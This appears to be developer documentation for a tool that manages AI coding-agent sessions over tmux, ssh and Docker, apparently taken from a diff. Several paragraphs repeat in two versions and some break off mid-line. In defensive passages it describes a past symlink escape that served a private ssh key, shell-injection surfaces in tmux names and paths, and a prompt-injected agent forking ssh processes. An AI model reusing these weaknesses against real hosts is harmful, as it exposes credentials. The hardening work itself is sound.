⚠️ The image watcher never watches a remote session's `workingDir` (a path on the remote host, which it would watch on the LOCAL disk): every call site that starts a watch skips `session.remote` (`setupSessionListeners()`, the app-wide toggle in `PUT /api/settings`, and `POST /api/sessions/:id/image-watcher`, which refuses `enabled: true` with `INVALID_INPUT`), so a new call site must too. File reads in a remote case are the second ssh surface (see Remote SSH cases below). The reason writes, office previews and thumbnails are deliberately unsupported over ssh is that no remote file is ever copied onto the server's disk; the one exception is the Edit history store, which keeps the diffs parsed from a remote session's transcripts under `dataPath('edit-history')` (see [Edit history panel](#edit-history-panel)). ssh children are bounded because terminal output in a remote session is written on the remote host, so a prompt-injected agent there can print hundreds of `codeman://attach` links. The third surface is a remote session's full-history load, which reads the scrollback from the remote tmux (`src/remote-pane-history.ts`) through the same limiter, with a bounded slot wait (`maxWaitMs`) since the local capture is its fallback.
### Remote SSH cases
**Remote host wake-on-LAN from user input**: an optional `RemoteHost.wakeMac` (magic packet built and broadcast by Codeman) or `RemoteHost.wakeCommand` (a single executable path, run WITHOUT a shell, and the explicit override) lets the input route — and an explicit `POST /api/sessions/:id/wake` — wake a SLEEPING host instead of writing into a stalled ssh pane; `tmux send-keys` succeeds against a stalled pane, so the bytes used to vanish silently. The wake flow lives in `src/remote-wake.ts` and is reachable **only** from an EXPLICIT user request: `POST /api/sessions/:id/input`, that explicit wake route, and the create/attach path (`POST /api/quick-start` for a remote case, `POST /api/sessions` with `attachRemoteSession`, via `ensureHostAwake`), because "the user pressed Run on a sleeping host" is the same kind of request and the tmux probe would otherwise fail with a misleading "needs tmux installed". Everything TIMER-driven must never wake a host: the COD-108 auto-reconnect watcher, `Server.handleRemoteSessionDropped` and boot recovery have no access to the registry, or a host would be re-woken seconds after each suspend and could never stay asleep (asserted by wiring guards in `test/remote-wake.test.ts`, not just documented — including that `ensureHostAwake` is called from the HTTP route only, since `cron-service.ts` builds sessions through the shared service with nobody waiting on the answer). `GET /api/sessions/:id/reachability` only ASKS — it never wakes — and feeds the amber "host unreachable" banner (`host-wake-ui.js`) whose action is either Wake or, with no target configured, "Configure WoL" → `#wakeConfigModal` (saved via `PUT /api/remote-hosts/:id`). Detection is a throttled bare TCP probe (no ssh, no `ServerAliveInterval` — keepalives would move bytes into an idle connection every interval; and a host behind a jump host/SOCKS proxy is reachability-UNKNOWN, never "asleep": `isProbeable()` keeps the registry from buffering, gating or bannering on a probe that cannot reach it), input is buffered and flushed in order after `reattachRemote()` (the send-and-wait path blocks instead, as does the create path, with a shorter request budget), and the wake fields are re-read from `remote-hosts.json` on recovery AND (throttled, cached) live for a running session, because the persisted `remote` snapshot would never see a field added later (`rehydrateRemoteHostFields` + `RemoteWakeDeps.resolveRemote`). Design + invariants: `docs/remote-sessions.md` §Wake-on-LAN from user input.
**Remote SSH cases** (COD-94/#145): cases can point at a **remote host** (`~/.codeman/remote-hosts.json` + `remote-cases.json` via `src/remote-hosts.ts`; CRUD under `/api/cases` — cases route file). A remote session launches a LOCAL tmux pane running `ssh <host>` that creates a durable REMOTE tmux session on a **dedicated socket** `-L codeman-remote` with name `codeman-ssh-<id>` — deliberately failing the remote Codeman's `SAFE_MUX_NAME_PATTERN` so a Codeman instance on the target host never adopts it; no `-g` global tmux options are set remotely. `remotePath`/`identityFile` are schema-guarded against shell injection (backticks/`$` rejected — same approach as `extraSshOptions`); remote tmux availability is probed via `checkRemoteTmuxAvailable()` in quick-start (ssh args carry `-o ConnectTimeout=10`). Remote claude defaults to an idempotent `claude --session-id <id> || claude --resume <id>` pair under a login shell, so a respawn or reattach continues the SAME conversation rather than starting a fresh one (remote omp gets the same treatment via `--continue`; ⚠️ because the claude arm is an `a || b` pair under `-c`, that pane's PID is the login shell, not the agent); per-host `commands.*` override. Session kill best-effort kills the remote tmux too. `SessionState.remote`/`MuxSession.remote` round-trip through recovery (`restoreMuxSessions` passes `remote` back into the Session constructor). ⚠️ Run flows must route remote cases through `POST /api/quick-start` (which resolves the remote case and skips LOCAL CLI availability gates) — `POST /api/sessions` stat-validates `workingDir` locally and has no `caseName`. `envOverrides`/`effort`/`modelOverride`/`codexConfig`/`geminiConfig` are rejected for remote quick-starts (not silently dropped). UI: Create Case modal → Remote tab. Tests: `test/remote-hosts.test.ts`, `test/remote-ssh-options.test.ts`. ⚠️ **Reading a file in a remote case goes over ssh too** (#415): `src/remote-files.ts` is the single remote-READ layer (`buildRemoteFileCommand` = `buildSshConnectionArgs` + one shellescaped remote command; `remoteProbePaths` returns remote realpath + stat; `remoteCreateReadStream` streams a `Range` via `tail -c +N | head -c L` and its `close()` must be wired to the response's `close` or the ssh child outlives an aborted download). The guard order matches the local path exactly (`validateSessionFilePathLexical` → remote realpath of BOTH file and workspace root → containment → sensitive-path → size cap on the REMOTE size), a request path arrives from the browser and is only ever interpolated as a `shellescape`d token, and an unreachable host answers **502**, never a 404. ⚠️ The probe's symlink resolution FAILS CLOSED: `readlink -f` where it exists, otherwise a `cd -P`/`pwd -P` directory walk plus a bounded plain-`readlink` loop over the last component, and anything it cannot fully resolve is reported unresolvable (404), never as the unresolved string — the first version resolved the directory chain only, so on a host without `readlink -f` a `ws/notes.txt -> ~/.ssh/id_rsa` link passed containment under its own path while `cat` served the key. Records are NUL-separated and index-keyed so a newline in a filename cannot shift the mapping. ⚠️ ssh children are BOUNDED: probes and buffered reads go through `src/remote-ssh-limiter.ts` (a `document-conversion-limiter`-shaped semaphore, default 4), the attachment-history list probes its whole history in ONE batched call (`probeRemoteAttachmentHistory`, threaded into `registerExternalAttachment({remoteProbes})`), and probes chunk at 40 paths — a prompt-injected agent printing `codeman://attach` links in a remote session used to fork one `ssh` per link. `describeExecError` never returns Node's `Command failed: <ssh line>` message (identity path + probe script in a 502 body). The `PUT /file-content` guard sits AHEAD of `validateSessionFilePath`, which resolves LOCALLY, or a same-named local directory (an sshfs mount) takes the write. Under `VITEST` the three IO functions refuse rather than connect. This covers the ATTACHMENT routes too, which is the half a clicked path needs when the file is OUTSIDE the case directory (`_isExternalPreviewPath` sends it to `POST …/attachments`): registration, by-id `raw`, metadata and the history list all resolve over ssh (`registerExternalAttachment({remote})`, `resolveServableRemoteAttachment`), and what decides the host is the SESSION, never the path string — the same absolute path means a different file on each host. Deliberately NOT supported over ssh: writes (`edit=1`/`PUT` answer 400, `editable` is always false), office previews/thumbnails, the file tree/picker, `tail-file`. The Ralph file routes follow the same rules (`ralph-routes.ts`): `POST .../fix-plan/read` reads `@fix_plan.md` on the remote host through `remote-files.ts` (one probe of the file and the workspace, confined with the shared `isPathWithinRoot`, capped at 1 MB; missing or outside theLine truncated
**Remote SSH cases** (COD-94/#145): cases can point at a **remote host** (`~/.codeman/remote-hosts.json` + `remote-cases.json` via `src/remote-hosts.ts`; CRUD under `/api/cases`, cases route file). A remote session launches a LOCAL tmux pane running `ssh <host>` that creates a durable REMOTE tmux session on a **dedicated socket** `-L codeman-remote` with name `codeman-ssh-<id>`, deliberately failing the remote Codeman's `SAFE_MUX_NAME_PATTERN` so a Codeman instance on the target host never adopts it; no `-g` global tmux options are set remotely. `remotePath`/`identityFile` are schema-guarded against shell injection (backticks and `$` rejected; `extraSshOptions` refuses backticks and `$(` only, so a bare `$` passes there and reaches `ssh` as those literal characters); remote tmux availability is probed via `checkRemoteTmuxAvailable()` in quick-start (ssh args carry `-o ConnectTimeout=10`). Remote claude defaults to an idempotent `claude --session-id <id> || claude --resume <id>` pair under a login shell, so a respawn or reattach continues the SAME conversation rather than starting a fresh one (remote omp gets the same treatment via `--continue`; ⚠️ because the claude arm is an `a || b` pair under `-c`, that pane's PID is the login shell, not the agent); per-host `commands.*` override. Session kill best-effort kills the remote tmux too. `SessionState.remote`/`MuxSession.remote` round-trip through recovery (`restoreMuxSessions` passes `remote` back into the Session constructor). ⚠️ Run flows must route remote cases through `POST /api/quick-start` (which resolves the remote case and skips LOCAL CLI availability gates): `POST /api/sessions` stat-validates `workingDir` locally and has no `caseName`. `envOverrides`/`effort`/`modelOverride`/`codexConfig`/`geminiConfig` are rejected for remote quick-starts (not silently dropped). UI: Create Case modal → Remote tab. Tests: `test/remote-hosts.test.ts`, `test/remote-ssh-options.test.ts`. ⚠️ **Reading a file in a remote case goes over ssh too** (#415): `src/remote-files.ts` is the single remote-READ layer (`buildRemoteFileCommand` = `buildSshConnectionArgs` + one shellescaped remote command; `remoteProbePaths` returns remote realpath + stat; `remoteCreateReadStream` streams a `Range` via `tail -c +N | head -c L` and its `close()` must be wired to the response's `close` or the ssh child outlives an aborted download). The guard order matches the local path exactly (`validateSessionFilePathLexical` → remote realpath of BOTH file and workspace root → containment → sensitive-path → size cap on the REMOTE size), a request path arrives from the browser and is only ever interpolated as a `shellescape`d token, and an unreachable host answers **502**, never a 404. ⚠️ The probe's symlink resolution FAILS CLOSED: `readlink -f` where it exists, otherwise a `cd -P`/`pwd -P` directory walk plus a bounded plain-`readlink` loop over the last component, and anything it cannot fully resolve is reported unresolvable (404), never as the unresolved string: the first version resolved the directory chain only, so on a host without `readlink -f` a `ws/notes.txt -> ~/.ssh/id_rsa` link passed containment under its own path while `cat` served the key. Records are NUL-separated and index-keyed so a newline in a filename cannot shift the mapping. ⚠️ ssh children are BOUNDED: probes and buffered reads go through `src/remote-ssh-limiter.ts` (a `document-conversion-limiter`-shaped semaphore, default 4), the attachment-history list probes its whole history in ONE batched call (`probeRemoteAttachmentHistory`, threaded into `registerExternalAttachment({remoteProbes})`), and probes chunk at 40 paths: a prompt-injected agent printing `codeman://attach` links in a remote session used to fork one `ssh` per link. `describeExecError` never returns Node's `Command failed: <ssh line>` message (identity path + probe script in a 502 body). The `PUT /file-content` guard sits AHEAD of `validateSessionFilePath`, which resolves LOCALLY, or a same-named local directory (an sshfs mount) takes the write. Under `VITEST` the three IO functions refuse rather than connect. This covers the ATTACHMENT routes too, which is the half a clicked path needs when the file is OUTSIDE the case directory (`_isExternalPreviewPath` sends it to `POST …/attachments`): registration, by-id `raw`, metadata and the history list all resolve over ssh (`registerExternalAttachment({remote})`, `resolveServableRemoteAttachment`), and what decides the host is the SESSION, never the path string: the same absolute path means a different file on each host. Deliberately NOT supported over ssh: writes (`edit=1`/`PUT` answer 400, `editable` is always false), office previews/thumbnails, the file tree/picker, `tail-file`. The Ralph file routes follow the same rules (`ralph-routes.ts`): `POST .../fix-plan/read` reads `@fix_plan.md` on the remote host through `remote-files.ts` (one probe of the file and the workspace, confined wiLine truncated
**Remote tmux PATH**: every SSH command that invokes or locates tmux uses `withRemoteTmuxPath()` (`remote-hosts.ts`) before the complete remote script is shell-escaped: link preflight, launch/attach, alive probes, discovery, history/screen capture, and cleanup. Non-interactive SSH shells can omit Homebrew and per-user binaries even when the user's interactive shell finds them. The wrapper double-quotes the exported PATH value (including inherited PATH) so homes with spaces work under dash; it leaves the existing SSH options, socket/target and inner CLI login-shell handling intact. tmux gives a new pane the PATH of the client that created it (measured on tmux 3.4), so every new remote pane, agent or shell, now starts on the widened PATH before its login shell runs. Keep new remote tmux operations on this same path. `test/remote-tmux-path.test.ts` exercises all builders under real sh/dash with a sparse PATH and a home containing spaces, using offline SSH/tmux stubs. Local and Docker tmux commands keep their own setup.
**Remote tmux PATH**: every SSH command that invokes or locates tmux uses `withRemoteTmuxPath()` (`remote-hosts.ts`) before the complete remote script is shell-escaped: link preflight, launch/attach, alive probes, discovery, history/screen capture, and cleanup. Non-interactive SSH shells can omit Homebrew and per-user binaries even when the user's interactive shell finds them. The wrapper double-quotes the exported PATH value (including inherited PATH) so homes with spaces work under dash; it leaves the existing SSH options, socket/target and inner CLI login-shell handling intact. tmux gives a new pane the PATH of the client that created it (measured on tmux 3.4), so every new remote pane, agent or shell, now starts on the widened PATH before its login shell runs. ⚠️ The bootstrap only works if it reaches the far end verbatim, so a remote launch, and an adopted ssh attach with it, goes to the local `bash -c` single-quoted (`bashCArg()` in tmux-manager.ts): in double quotes the local `sh` expanded `$HOME` and `$PATH` on this host first, and a remote user with another home found no tmux (#760, exit 127). ⚠️ Codeman's stock pane text is POSIX (`"${SHELL:-/bin/sh}"`), so it goes to `/bin/sh -c` as separate tmux arguments: tmux runs a ONE-argument command through the remote default-shell and exec's two or more directly (measured on 3.4), and fish refuses `${…}` with status 127. A `commands.*` override stays one argument, since it is the user's text for their own shell. `test/remote-pane-command-shell.test.ts` pins that split without needing fish. Keep new remote tmux operations on this same path. `test/remote-tmux-path.test.ts` exercises all builders under real sh/dash with a sparse PATH and a home containing spaces, using offline SSH/tmux stubs. Local and Docker tmux commands keep their own setup.
Further wake-on-LAN detail: the wiring guards in `test/remote-wake.test.ts` are two; the second also pins that `server.ts` holds the registry for its LIFETIME only (`drop` on cleanup, `stop` on shutdown) and never calls a waking method. The create wake is wired in the route rather than the shared session service for exactly the no-timer-wakes reason. No `ServerAliveInterval`, because keepalives move bytes into an idle connection every interval and that is what a byte-threshold idle detector must not read as activity. For a host behind `jumpHost`/`socksProxy`/a `ProxyCommand` option, the probe connects to `host:port`, which such a host does not answer even while ssh works; the registry never gates create/attach on it (`'unprobeable'`), and `/reachability` answers `reachable: null, probeable: false`. The banner keys on a PROVEN `false`, and the banner's 30 s poller runs only for a host with a wake target (a timer connecting to a host Codeman cannot wake is the same timer-driven traffic the keepalive rule forbids).
Input arriving during a wake is buffered: a chunk over 4 KB is dropped whole, never delivered as a fragment, and the route answers `{buffered:true}` / `{buffered:true, dropped:true}` so the caller can tell. It is flushed in order after `reattachRemote()` with `fromUser`; a flush write that fails drops the rest (logged) rather than retaining it for a wake hours later. Send-and-wait blocks instead and answers `OPERATION_FAILED` when the host never returns. ⚠️ In multi-user mode the attach path 403s a non-admin BEFORE the host is looked up: the wake runs an executable, and remote hosts are admin-only infra everywhere else. ⚠️ Browser keystrokes travel over the WebSocket, which deliberately does NOT pass through the registry (that is the hot path), so only the HTTP input path ever queues anything; the banner must not promise queued input for the Wake button. A request that waits on the wake (create/attach, and the button) uses the 40 s `REMOTE_WAKE_REQUEST_READY_TIMEOUT_MS`, not the 90 s session default, because the dashboard's reverse proxy cuts a request at its own 60 s `proxy_read_timeout`. The `remote:` SSE family is session-scoped in multi-user mode; a create/attach wake names its requester (`username`) since it has no session yet. `remote-wake.ts` refuses real IO under `VITEST` like `remote-files.ts`.
### Adopted foreign tmux sessions
**Adopted sessions** (#510; `src/foreign-tmux.ts` pure, `src/foreign-tmux-discovery.ts` transport, `foreign-sessions.js`, `GET /api/mux/foreign`, `POST /api/sessions/adopt`): a tmux session a human started is listed on the home screen, and one click wraps it in a tab. Like remote-SSH and Docker it is a **LOCATION OVERLAY**, never a `SessionMode`: `Session.adopt` carries the connection, the mode comes from a bounded walk of the pane's process tree, and `Session.isAdopted` asks who launched the process, a different question from `isExternalCliMode()`, which is why the two are never folded together.
**The wrapper.** Adoption creates an ordinary `codeman-<8hex>` session on Codeman's own socket whose pane runs the attach, so `killSession` can only ever reach the wrapper and no shape of caller bug reaches the foreign server. The attach joins as a grouped `codeman-view-<id>` session with `status off` and `destroy-unattached on`. ⚠️ `new-session -t` does not fail on a missing target, it invents one (measured on tmux 3.4: joined `work-prod`, or made a fresh shell, or started a server on an empty socket), so an exact `has-session -t '=<name>'` guards it. The `=` cannot stand in for that guard on `new-session -t`, where a missing target makes a group literally called `=<name>`. ⚠️ The guard only holds for a name both commands read as a name, so a name `new-session -t` reads as target syntax (`TMUX_TARGET_SYNTAX`: a leading `=`, `@` or `%`, or a bare `~`) is refused at discovery: measured on tmux 3.4, `@1` joined the session holding window `@1` and input typed in the tab reached it, and `=eq` made a new group with a fresh shell. A `command -v tmux` runs first, because the guard fires on any failure and "tmux is not on this PATH" must not read as "your session is gone". The client is `tmux -u`, or a POSIX-locale container garbles the tab, and the probe's `list-panes` is too, or a name reads as underscores the guard then cannot find. A `docker exec` outlives its client, so that view is killed explicitly on close. ⚠️ Nothing is ever set on the foreign server beyond our own view: not `window-size` (a window option on a shared window, it survives our detach) and not the prefix table (server-wide, unlike `nestedPrefixTableResetCommands` on the servers Codeman runs itself). ⚠️ While the view exists an owner's `kill-session` leaves the window alive under it until the tab closes. ⚠️ The wrapper's pane IS the owner's pane, so nothing may be typed into it on start: `startShell()`'s new-session `clear\n` submitted whatever the owner had half-typed (measured) until it was gated on `!this._adopt`, and the trust-dialog auto-accept stays off for the same reason. `shell` is also the classifier's answer for anything it cannot name, such as vim or psql.
**Names are the injection surface.** A session name is chosen by someone else and several shells parse the attach line on its way to tmux; in `bash -c "<JSON>"`, the form it first crossed, `$` and backticks were live. Names and socket paths pass an allowlist at DISCOVERY, so a bad one gets no id and the adopt route, which re-resolves through discovery, can only 404. The ssh probe and attach run in an explicit `sh` behind `withRemoteTmuxPath()`, since the guard chain is POSIX and the login shell may be fish. ⚠️ The attach line reaches `bash -c` single-quoted through `bashCArg()` at both launch sites, the path a remote or docker launch takes (#760), never a bare `JSON.stringify()`, or the ssh attach's `$HOME` and `$PATH` expand on THIS host and a tmux in the remote `~/.local/bin` is found by discovery and missed by the attach. Single quotes also keep a real newline, which JSON escaping left as the two characters `\n`. That closes the first shell only, so the discovery allowlist stays. `test/tmux-manager.test.ts` compares what bash receives with the built line at create and at respawn, for all three locations. Docker discovery spawns `dockerEngineArgv()`, never the shell-quoted `buildDockerBaseArgs()`.
**A server that stops answering.** A tmux client never returns from a stopped server, and it hands dups of its stdout to the server, so that server holds our pipe open after the client is dead (measured: SIGTERM ended the client and no EOF came). ⚠️ So a watchdog around `list-panes` cannot work, and the same hold would keep `docker exec` and `ssh` waiting. `buildForeignProbeScript()` pings each socket with `has-session` at `/dev/null` under `FOREIGN_SOCKET_TIMEOUT_SECONDS`, in the script because no signal of ours reaches a client inside a container or across ssh, and only a server that answered gets the real stdout. One that did not prints `CMFH` and costs its own rows and a note. The watchdog reports through its own exit status, since a client ended by SIGTERM exits 0. `runForeignProbe()` runs all three transports in their own process group, signals the group at the deadline, destroys its end of the pipe by hand (or one handle leaks per scan) and keeps the rows it read. ⚠️ Sockets have no count cap: in glob order `codeman*` sorts before `default`, and a box with many instances would never reach the sessions this feature is for (212 sockets measured here). The sweep is bounded by time.
**Text from someone else's process.** The parser and the classifier run synchronously on the event loop over what a pane, a container or an ssh host printed, and the row caps do not help when one row is the whole 2 MiB. ⚠️ So every step stays linear in that text: no regex tail over an argv (`launcherPrefixes()` is a scan), `.*` under the `s` flag so `$` cannot fail and hand `\s+` its spaces back, a `Set` for the socket rows, `FOREIGN_MAX_ARGV_CHARS` on what is kept, and one `createForeignSignatureMatcher()` per scan, since every pane of a hostile host can claim the same process tree and repeat the same rows.
**One wrapper per target.** `foreignTargetKey()` is the ONE key, read by the adopt route and `adoptedBy`, built from the location, the host identity, the socket and the name: a socket and a name alone collide across containers and hosts. Both read live `Session`s, since the mux record only exists after the first attach.
**No workspace.** ⚠️ An adopted session keeps its connection on `adopt.remote`/`adopt.docker`, so `session.remote` and `session.docker` are undefined, and its `workingDir` is the neutral `/tmp`. Code that branches on those two reads an in-container or over-ssh adoption as a local session working in `/tmp`. So anything that treats `workingDir` as the session's workspace must also test `session.isAdopted` (`adopt` on a pure view): uploads, the upload GC, git status, git fetch and its scheduler, the image watcher, Read My Mind's git signals, the Discord folder, `last-response`, guarded input and Ralph's `@fix_plan.md` and `@ralph_prompt.md` routes all do. The file surfaces (Files panel, File Viewer and its edit mode, `html-view`, absolute-path links) are the one standing exception (owner decision 2026-11-06): they still treat `/tmp` and this host's paths as the workspace, even on a container or ssh tab, so such a tab shows this host's files and not the far end's. It gives no privilege: `/tmp` is world-writable anyway, and adoption is admin-only in multi-user mode. Gating them for remote and Docker adoptions, while keeping a local adopted tab's absolute-path links, is the planned follow-up. A claude wrapper reports `statusLineExporter: 'remote'`, which is also what keeps keep-warm off it.
**Lifecycle.** `paneExitApplies` is false for a wrapper, so an attach that ended is never `paneExit` and the sweep never closes the tab. ⚠️ `remain-on-exit` still keeps Codeman's own tmux client on the dead pane, where a pid and `busy` hid it and both attach routes refused it, so `detachEndedAdoptedAttaches()` detaches that client on the reconnect watcher's tick: the tab closes nothing, its pid goes null, and selecting it (or "Go to tab" once a session of that name is back) runs the guard again. Boot recovery re-attaches a dead wrapper, which prints that the session is gone and exits. Reboot restore refuses one, since all Codeman ever had was an attach command. ⚠️ A wrapper that cannot start fails the start, and selecting the tab tries it again (`_failAdoptedStart()`). It never takes the direct-PTY fallback, which would run a new local `claude --dangerously-skip-permissions` or a server-account shell in `/tmp` under the foreign session's name, and `runPrompt()` refuses it for the same reason.
### Docker cases
**Docker cases** (shipped 1.4.0; user guide `docs/docker-cases.md`, design `docs/docker-cases-plan.md`): a case can point at a **container** instead of a local/remote path, and any of the CLI run modes runs INSIDE it. Like remote-SSH, it is a **LOCATION OVERLAY on cases, never a `SessionMode` of its own** (`SessionMode` is unchanged). Storage `~/.codeman/docker-hosts.json` + `docker-cases.json` via `src/docker-hosts.ts` (direct mirror of `remote-hosts.ts`: `readDockerHosts`/`readDockerCases`, `toSessionDocker`, `dockerDisplayPath`, and the PURE builders `buildDockerBaseArgs`/`buildDockerCreateArgs`/`containerApiUrl`/`hostGatewayAlias`/`dockerConfigHash`). CRUD `/api/docker-hosts` + `/api/cases/docker-link`, plus **one-click** `/api/cases/docker-quickcreate` (Create New "Run in Docker" checkbox → case folder in `CASES_DIR` + auto-provisioned shared `default` host + auto-start a session inside; an expandable Template picker Small/Medium/Large/GPU or any override creates a per-case `q-<name>` host), and export/import (`/api/docker-cases/:name/export`, `/api/docker-cases/import`, `GET/DELETE /api/docker-exports`) — all in `case-routes.ts`. Run flows route through `POST /api/quick-start` like remote (session-routes.ts docker branch, skips LOCAL CLI-availability gates). **Launch model**: exactly one long-lived container **per case** (`codeman-case-<slug>`, PID1 `sleep infinity` under `--init`); a LOCAL tmux pane runs `docker exec -it` into a **durable in-container tmux** on dedicated socket `-L codeman-docker`, session `codeman-dkr-<id8>` (deliberately fails `SAFE_MUX_NAME_PATTERN` so a Codeman running INSIDE the container never adopts it, exactly like remote's `codeman-ssh-<id8>`). Builders `buildDockerLaunchCommand`/`buildDockerKillCommand` in `tmux-manager.ts` (image-check → `docker inspect||create` → start → exec, all idempotent). The container is **shared by all sessions of the case**: `buildDockerKillCommand` kills ONLY that session's in-container tmux session, NEVER `docker stop` while siblings remain; `docker rm -f` happens only on case-delete (plus an instance-scoped boot reaper keyed on the `codeman.instance` label). **Two-layer durability/resume** (the central design point): (1) Codeman-PROCESS restart with the container still up → `tmux new-session -A` reattaches the SAME live agent (paneCommand ignored); (2) container stop/reboot/OOM → inner tmux is gone, so the re-run pane command resumes the conversation from the bind-mounted transcript: claude mode pins a DETERMINISTIC conversation id via `claudeDockerPaneCommand()` (`tmux-manager.ts`) — fresh launch `claude --session-id <sessionId> || claude --resume <sessionId>` (a duplicate `--session-id` exits 1 "already in use", so the fallback RESUMES after a container stop; verified CLI behavior), explicit resume `--resume <rid> || --session-id <sid>` so a stale id never dead-panes (leading `exec ` is stripped — an exec'd first branch could never fall back); codex `resume <id>` / gemini `--resume` keep `appendResumeFlag`. The resume id rides `resumeSessionId` through create/respawn options and persists on `DockerCase.lastClaudeSessionId` via `persistDockerCaseClaudeSessionId()` (written at quick-start launch, and again on hook/last-response conversation-id adoption so post-`/clear` switches track; seeded back when `resumeOnStart`, default true); `-A` makes the pane command self-selecting (inert on reattach, active only when tmux was re-created). **Config drift** (`dockerConfigHash` → `codeman.confighash` label): quick-start compares via `checkDockerConfigDrift()` and REFUSES a drifted launch with `CONFLICT`; the UI confirm calls `POST /api/docker-cases/:name/recreate` (refused while case sessions are live) which `docker rm -f`s so the next launch recreates with the new config — host config edits actually take effect. **Workspace** is a REAL host dir bind-mounted at the SAME absolute path (mirror, `dst==src`), so `Session.workingDir = hostWorkspacePath` keeps file-routes/attachments/watchers on real host bytes AND the in-container transcript projHash matches the host so subagent/workflow correlation (and thus resume-id capture) works; `resolveMuxAttachCwd` returns `/tmp` for docker (the local pane only runs `docker exec`). **Creds** arrive commit-safe and ISOLATED (1.4.1; replaced the whole-dir RW mounts that let in-container CLIs write refreshed tokens/state back to the host): shared RW across the boundary is ONLY what host-side reads/resume need (`~/.claude/projects` transcripts; codex `sessions/` + `history.jsonl` for response-viewer/`codex resume`); everything else is SEEDED (RO mount, copied into container HOME once at launch via `[ -e ] || cp`; the container refreshes its own copy and never writes back): `~/.claude.json` is merged through `buildSeamlessClaudeConfig()` (forces `hasCompletedOnboarding` + theme + workspace trust, so no login wizard/theme picker/trust prompt inside the container), plus `.claude/{.credentials.json,setLine truncated
@@ -231,21 +249,23 @@ Further detail: the `<prefix>: <title>` form (`w3-myapp: fix the login redirect`
### Terminal scrollback: strip flavors and wheel/touch forwarding
**Three strip flavors, one carry** (#205, `session.ts:_handleTerminalOutput`): the FULL strip (`isAltScreenStripMode` = codex/claude/gemini) removes alt-screen toggles, `3J`, and mouse-tracking DECSETs. The MOUSE strip (`isMuxMouseStripMode` = opencode and copilot) removes alt-screen toggles AND the mouse DECSETs but KEEPS `3J` — the middle case, for a mouse-capable full-screen TUI: its tracking DECSETs reach the browser (tmux `mouse off` passes the pane's modes through to the client), xterm obeys them, and then every DRAG is reported to the TUI instead of selecting text — so mark-and-copy silently did nothing (measured 62 `none` / 18 `any` over 16s, 5/5 dead drags while `any`) and the obvious fallback, Ctrl+C, is opencode's `app_exit`. Copilot is the same shape (measured on 1.0.95: alt screen, mouse reporting on): left on the narrow strip, Auto Copy and copy-on-select did nothing and only Shift+drag selected. `3J` stays because a TUI is not a `clear` consumer. Every other mode (shell/antigravity/pi/grok/deepseek/omp) gets the NARROW strip (`isMuxAltScreenOnlyStripMode`) — alt-screen toggles ONLY — and only when tmux-backed (`useMux`). Rationale: the tmux CLIENT emits `smcup` as its first bytes at attach, before any program runs, parking xterm in the scrollback-less alternate buffer for the whole session (touch scrolling no-ops; xterm's own wheel handler converts the wheel to Up/Down arrows = readline history cycling — both #205 symptoms). tmux never forwards a pane program's alt-screen toggles to its client (it repaints instead; measured — vim/less inside a pane emit zero to the client), so the only thing the narrow strip ever removes is tmux's own smcup. It keeps `3J` (a user's `clear` is a deliberate scrollback wipe) and the mouse DECSETs (tmux passes those through even with `mouse off`; stripping them would break htop/vim mouse support — which is exactly why the mouse strip is opt-in per CLI and not part of the narrow flavour). ⚠️ The `useMux` gate is load-bearing: `startShell()`/`startInteractive()` fall back to a DIRECT PTY when mux creation fails, and there the inner program's own `?1049h` really does reach xterm — stripping it would break vim/less/htop for real. The replay path (`session-routes.ts`, via `session.usesMux`) applies the same three branches; the frontend gate (`_shouldReportMouseToCli()`) keeps no mode list at all: it reads only the published `cliMouseTracking`, which the server sets solely in a DECSET-stripping branch (full or mouse), so it can only be true for a mode whose DECSETs are stripped — the modes where the browser's hand-encoded tap (`_sendSyntheticSgrTap`) is the only way a click still reaches the CLI. Whichever modes the registry strips, the browser follows (pinned in `test/claude-scrollback-strip.test.ts`). The chunk-boundary carry (`_altScreenSeqCarry`) runs for all three flavors. Tests: `test/claude-scrollback-strip.test.ts`, `test/terminal-touch-tap.test.ts`.
**Three strip flavors, one carry** (#205, `session.ts:_handleTerminalOutput`): the FULL strip (`isAltScreenStripMode` = codex/claude/gemini) removes alt-screen toggles, `3J`, and mouse-tracking DECSETs. The MOUSE strip (`isMuxMouseStripMode` = opencode, copilot and pi) removes alt-screen toggles AND the mouse DECSETs but KEEPS `3J` — the middle case, for a mouse-capable full-screen TUI: its tracking DECSETs reach the browser (tmux `mouse off` passes the pane's modes through to the client), xterm obeys them, and then every DRAG is reported to the TUI instead of selecting text — so mark-and-copy silently did nothing (measured 62 `none` / 18 `any` over 16s, 5/5 dead drags while `any`) and the obvious fallback, Ctrl+C, is opencode's `app_exit`. Copilot is the same shape (measured on 1.0.95: alt screen, mouse reporting on): left on the narrow strip, Auto Copy and copy-on-select did nothing and only Shift+drag selected. `3J` stays because a TUI is not a `clear` consumer. Every other mode (shell/antigravity/grok/deepseek/omp) gets the NARROW strip (`isMuxAltScreenOnlyStripMode`) — alt-screen toggles ONLY — and only when tmux-backed (`useMux`). Rationale: the tmux CLIENT emits `smcup` as its first bytes at attach, before any program runs, parking xterm in the scrollback-less alternate buffer for the whole session (touch scrolling no-ops; xterm's own wheel handler converts the wheel to Up/Down arrows = readline history cycling — both #205 symptoms). tmux never forwards a pane program's alt-screen toggles to its client (it repaints instead; measured — vim/less inside a pane emit zero to the client), so the only thing the narrow strip ever removes is tmux's own smcup. It keeps `3J` (a user's `clear` is a deliberate scrollback wipe) and the mouse DECSETs (tmux passes those through even with `mouse off`; stripping them would break htop/vim mouse support — which is exactly why the mouse strip is opt-in per CLI and not part of the narrow flavour). ⚠️ The `useMux` gate is load-bearing: `startShell()`/`startInteractive()` fall back to a DIRECT PTY when mux creation fails, and there the inner program's own `?1049h` really does reach xterm — stripping it would break vim/less/htop for real. The replay path (`session-routes.ts`, via `session.usesMux`) applies the same three branches; the frontend gate (`_shouldReportMouseToCli()`) keeps no mode list at all: it reads only the published `cliMouseTracking`, which the server sets solely in a DECSET-stripping branch (full or mouse), so it can only be true for a mode whose DECSETs are stripped — the modes where the browser's hand-encoded tap (`_sendSyntheticSgrTap`) is the only way a click still reaches the CLI. Whichever modes the registry strips, the browser follows (pinned in `test/claude-scrollback-strip.test.ts`). The chunk-boundary carry (`_altScreenSeqCarry`) runs for all three flavors. Tests: `test/claude-scrollback-strip.test.ts`, `test/terminal-touch-tap.test.ts`.
